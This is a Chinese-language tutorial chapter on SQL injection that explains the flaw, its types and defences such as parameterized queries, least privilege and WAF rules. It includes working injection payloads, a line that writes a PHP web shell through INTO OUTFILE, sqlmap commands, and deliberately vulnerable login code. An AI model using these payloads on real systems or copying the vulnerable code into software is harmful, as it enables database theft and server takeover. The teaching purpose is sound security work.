SQL 注入
SQL 注入是最常见且危害最大的 Web 安全漏洞之一。它发生在应用将用户输入直接拼接到 SQL 语句中时,攻击者可以通过输入恶意 SQL 代码来操纵数据库查询。本章将详细介绍 SQL 注入的原理、类型和防护方法。
什么是 SQL 注入?
SQL 注入是一种代码注入技术,攻击者通过在用户输入中插入恶意 SQL 语句来破坏应用的数据库查询逻辑。
当应用没有正确验证或清理用户输入,并将这些输入直接拼接到 SQL 查询中时,攻击者可以:
- 获取未授权的数据
- 修改或删除数据
- 绕过身份验证
- 执行系统命令(在某些情况下)
SQL 注入的原理
让我们通过一个简单的登录功能来理解 SQL 注入的原理。
不安全的代码示例
假设有一个登录功能,使用用户输入的用户名和密码查询数据库:
// Java 不安全的登录查询
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username +
"' AND password = '" + password + "'";
ResultSet rs = statement.executeQuery(sql);
if (rs.next()) {
// 登录成功
}
当用户正常输入时,例如:
- 用户名:
admin - 密码:
password123
生成的 SQL 是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
攻击方式
但是,攻击者可以输入特殊构造的数据:
- 用户名:
admin' OR '1'='1 - 密码:任意值
生成的 SQL 变成:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '任意值'
由于 '1'='1' 永远为真,这个查询会返回 admin 用户,攻击者成功绕过了身份验证!
SQL 注入的类型
1. 经典注入(Classic/Boolean-based Injection)
通过构造布尔条件来推断数据库信息。
-- 判断数据库版本
' AND (SELECT SUBSTRING(@@version,1,1))='M' --
' AND (SELECT COUNT(*) FROM users) > 0 --
攻击者可以通过不断尝试来获取:
- 数据库名称
- 表名和列名
- 用户数据
2. 联合查询注入(Union-based Injection)
使用 UNION 语句获取其他表的数据。
' UNION SELECT username,password FROM admin_users --
这允许攻击者从其他表读取数据。
3. 盲注(Blind Injection)
当应用不显示数据库错误时,攻击者通过观察应用的响应来推断信息。
-- 如果条件为真,页面正常显示
' AND 1=1 --
-- 如果条件为假,页面显示异常
' AND 1=2 --
通过这种方式,攻击者可以逐字符猜测数据。
4. 报错注入(Error-based Injection)
利用数据库的错误信息获取数据。
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()))) --
数据库会返回包含敏感信息的错误消息。
5. 时间盲注(Time-based Blind Injection)
通过数据库的延迟函数来判断条件。
' AND IF(1=1,SLEEP(5),0) --
通过观察响应时间来判断条件是否成立。
实际攻击示例
示例 1:绕过登录
-- 用户名输入
admin'--
-- 生成的查询变成
SELECT * FROM users WHERE username = 'admin'--' AND password = 'xxx'
-- '--' 后面的内容被注释掉,密码验证被绕过
示例 2:获取所有用户
' UNION SELECT 1,username,password,email FROM users--
示例 3:获取数据库版本
' UNION SELECT NULL,version(),NULL,NULL--
示例 4:写入文件(在某些配置下)
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--
SQL 注入的危害
SQL 注入可以导致:
- 数据泄露 - 读取敏感数据(用户密码、信用卡信息等)
- 数据篡改 - 修改或删除数据
- 权限提升 - 获取管理员权限
- 系统控制 - 在某些情况下执行操作系统命令
- 服务拒绝 - 删除或修改数据导致服务不可用
- 法律后果 - 数据泄露可能违反隐私法规
SQL 注入防护
1. 使用参数化查询(最有效)
参数化查询(也叫预处理语句)将用户输入与 SQL 语句分离,数据库会将输入当作数据而不是代码执行。
Java
// 不安全的写法
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// 安全的参数化查询
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
Python
# 不安全
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
# 安全
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
JavaScript (Node.js)
// 不安全
const query = `SELECT * FROM users WHERE username = '${username}'`;
// 安全
const query = 'SELECT * FROM users WHERE username = ?';
connection.query(query, [username]);
2. 使用 ORM 框架
大多数 ORM 框架默认使用参数化查询:
// JPA/Hibernate
User user = userRepository.findByUsername(username);
// Spring Data JPA
public interface UserRepository extends JpaRepository<User, Long> {
User findByUsername(String username);
}
3. 输入验证
虽然不能完全依赖输入验证来防止 SQL 注入,但可以作为额外层:
public boolean isValidUsername(String username) {
// 只允许字母、数字和下划线
return username.matches("^[a-zA-Z0-9_]+$");
}
4. 最小权限原则
数据库账户应该只拥有必要的权限:
-- 创建应用专用账户,只授予必要权限
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_database.* TO 'app_user'@'localhost';
-- 不授予 DROP、CREATE 等管理权限
5. 错误信息处理
不要向用户暴露数据库错误:
try {
// 数据库操作
} catch (SQLException e) {
logger.error("Database error", e);
// 显示通用错误信息
return "An error occurred. Please try again later.";
}
6. Web 应用防火墙(WAF)
WAF 可以检测和阻止常见的 SQL 注入攻击:
# Nginx 配置 WAF 规则
location / {
# 拦截常见 SQL 注入模式
if ($query_string ~ "union.*select") {
return 403;
}
if ($query_string ~ "(--|#|/\*|\*/)") {
return 403;
}
}
检测 SQL 注入
自动化工具
- sqlmap - 自动化 SQL 注入检测和利用工具
# 基本用法
sqlmap -u "http://target.com/page?id=1"
# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs
-
Burp Suite - 拦截请求并测试注入点
-
OWASP ZAP - Web 应用安全扫描器
手动测试
检查以下输入:
' -- 单引号
" -- 双引号
OR 1=1 -- 布尔条件
UNION -- 联合查询
-- -- 注释
观察应用的响应:
- 错误信息
- 行为变化
- 响应时间
实战案例
案例 1:登录绕过
假设有如下登录验证代码:
$sql = "SELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]'";
$result = mysqli_query($conn, $sql);
攻击者输入:
- 用户名:
admin' OR '1'='1 - 密码:任意
生成的查询:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意'
由于 OR '1'='1' 永远为真,攻击者可以直接登录为 admin。
案例 2:数据提取
攻击者使用 UNION 提取其他表的数据:
' UNION SELECT 1,username,password,email FROM users--
这会返回所有用户的数据。
案例 3:盲注利用
当页面没有明显错误时,攻击者通过时间延迟来判断:
' AND IF(SUBSTRING(password,1,1)='a',BENCHMARK(1000000,SHA1(1)),0)--
如果密码第一个字符是 'a',响应会明显延迟。
最佳实践总结
- 始终使用参数化查询 - 这是最有效的防护
- 使用 ORM - 现代 ORM 默认安全
- 最小权限 - 数据库账户权限要最小化
- 输入验证 - 白名单验证,只允许预期字符
- 错误处理 - 不暴露数据库细节
- 安全更新 - 及时更新数据库和框架
- 代码审查 - 定期检查是否存在 SQL 注入
- 渗透测试 - 定期测试发现潜在漏洞
常见错误
以下是开发者常犯的错误:
// 错误 1:字符串拼接
String sql = "SELECT * FROM users WHERE id = " + userId;
// 错误 2:使用字符串格式化
String sql = String.format("SELECT * FROM users WHERE name = '%s'", name);
// 错误 3:动态构建查询
if (sortField != null) {
sql += " ORDER BY " + sortField; // 可能被注入
}
// 正确做法
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, userId);
小结
SQL 注入是一种严重的安全漏洞,攻击者可以通过它:
- 绕过身份验证 - 使用
' OR '1'='1等技巧 - 获取敏感数据 - 使用 UNION 提取其他表的数据
- 修改或删除数据 - 破坏数据库完整性
- 在极端情况下执行系统命令
防护要点:
- 参数化查询 - 将用户输入与 SQL 语句分离
- 输入验证 - 白名单验证,但不要依赖它作为唯一防护
- 最小权限 - 数据库账户只授予必要权限
- 错误处理 - 不向用户暴露数据库错误
- 安全测试 - 定期进行 SQL 注入测试
记住:永远不要相信用户输入!